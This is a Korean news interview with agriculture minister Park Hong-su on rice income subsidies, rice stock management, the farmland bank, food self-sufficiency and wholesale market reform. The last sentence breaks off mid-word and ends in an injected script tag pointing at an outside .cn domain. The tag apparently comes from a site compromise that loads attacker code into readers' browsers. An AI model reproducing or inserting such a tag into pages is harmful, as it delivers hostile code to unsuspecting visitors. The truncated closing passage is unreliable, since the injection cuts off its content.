“시대환경변화에 적응할 수 있는 농업을 만드는게 중요합니다. 그런 의미에서 땀만 흘리지 돈이 되지 못하는 농업, 시장변화에 적응치 못하는 농정을 타파하고 농·소·정 모두가 맡은 바 본연의 임무를 확실히 수행하는 것이 중요하고 이것이 농업 혁신이라 할 수 있습니다.”

지난 4일로 취임 7개월을 맞은 박홍수 농림부 장관은 “취임 이후 농정신뢰 회복과 역할분담에 가장 역점을 두고 추진했다”며 “정부를 비롯한 농업계 모두가 맡은바 자기 몫을 다한다면 농업·농촌의 미래도 밝을 것”이라고 강조했다.

농업인들이 잘 살수 있도록 하는 것이 우리 농업계가 지향해야 할 목표이며 정부·농민단체·농업관련기관·대학 등이 이 목표를 향해 한결같이 가는게 중요하다는 것이다.

이와관련 박 장관은 농업과 농촌현장에 맞지 않는 각종 제도와 정책을 현장에 맞게 고쳐나가고 이과정에서 농업인들의 의견을 반영해 나간다면 정부에 대한 농업인들의 불신의 골도 해소될 것으로 확신했다.

특히 쌀은 농가의 주 소득원이고 식량안보 기능과 지속가능한 형태로 남아 있어야 하며, 시장가격과 국제가격에 적응할 수 있는 기능을 확보하는게 중요하므로 정책수단도 각각의 기능에 맞게 차별되게 적용해야 한다고 피력했다.

박 장관은 이어 “쌀 산업의 승패는 쌀 소비에 대한 국민의 공감대가 얼마나 형성되느냐에 달렸다”며 “이제는 농산물 홍보가 전업농 육성이나 부채대책 등과 같이 중요정책으로 자리 잡게 된만큼 소비자에게 다가가기 위한 마케팅 활동이 필요하다”고 강조했다.

쌀 협상 비준과 관련해서 박 장관은 국회에서 비준동의가 되지 않을 경우 우리나라가 추가적인 관세화 유예를 주장할 수 있는 법적 근거를 상실하게 된다며 조기에 국회비준이 이뤄지기를 기대했다.

박 장관은 “쌀 협상 시작 이전부터 농업개방 확대를 대비해 농업농촌종합대책과 119조 투융자계획을 마련해 추진중”이라며 “쌀소득 보전직접지불제, 공공비축제 도입, 고품질 쌀 생산대책 등 종합적인 대응체제를 갖춰 나가고 있다”고 설명했다.

특히 올해부터 80kg 한가마당 목표가격 17만원과 수확기 쌀 값과의 차이의 85%를 직접지불로 지급하는 쌀소득보전직불제를 추진해 수확기 쌀 값 하락에 대한 농가의 불안감을 해소시키겠다고 밝혔다.

이와함께 수확기 쌀 시장 안정을 위해 40만톤의 쌀을 북한에 지원해 재고를 줄이는 한편 정부 공매물량도 당초 계획보다 120만석을 축소한 39만3000석으로 줄이는 등의 다각적인 대책도 강구하고 있음을 강조했다.

박 장관은 “올해 벼재배면적이 지난해보다 2만2000ha 감소한 97만9000ha로 평년작일 경우 생산량이 3300만석 가량일 것으로 추정돼 수확기에 큰 문제는 없을 것”이라고 전망했다.

농지은행제도에 대해 박 장관은 △농지에 대한 정보관리 및 제공 △농지의 수탁관리 △경영회생을 위한 농지매입 △농지시장안정을 위한 농지 매입·배축사업 등을 주요사업으로 들고 오는 10월부터는 임대수탁사업을 시행할 계획이라고 말했다.

농림부는 지난달부터 농지은행 포털사이트를 운영해 농지에 대한 정보를 제공중이며, 농지법개정에 따라 오는 10월부터는 농지소유자의 위탁을 받아 전업농 등에게 임대하는 임대수탁사업을 시행할 계획이다.

이와함께 농지매입사업은 내년 예산확보와 농업기반공사 및 농지관리기금법령 개정을 거쳐 내년 상반기부터 시행하고 농지 매입·비축사업 역시 시행근거를 만련해 추진해 나갈 방침이다.

식량문제에 있어서도 돈으로나 경제적 논리로 풀 수 없는 문제로 국가가 반드시 확보해야 할 책임이 있다고 못박았다.

따라서 정부 역시 적정 수준의 식량자급률을 설정, 중장기농정지표로 활용하기 위해 토론회, 공청회 등 국민적 공감대를 이룬 후 연말까지 식량자급률 목표치를 국민들에게 제시하겠다고 밝혔다.

주식인 쌀이 자급되고 있으나 타 곡물의 자급률은 매우 낮아 국민들의 우려가 있는 것도 사실이고 식량을 국제교역에만 의존하는 것은 위험한 발상이라는게 박 장관의 견해다.

최근 농산물유통업계의 이슈가 되고 농안법 개정에 대해서는 생산자 보호, 안전농산물에 대한 소비자욕구의 충족, 도매시장의 활성화라는 3대 원칙하에 농업여건에 맞는 도매시장, 급변하는 농산물유통환경에 대응할 수 있는 도매시장을 만드는데 중점을 두겠다는게 박 장관의 소신이다.

한편 지역농업클러스터 사업이 국가균형발전특별회계로 추진되면서 나눠먹기식으로 추진되고 있는게 아니냐는 일부의 지적과 관련 올해 20개 사업단을 선정해 시범사업을 추진중이나 비록 시범사업에 선정됐더라도 평가결과에 따라 사업비를 조정하거나 사업을 중단할 ?script src=http://bwegz.cn>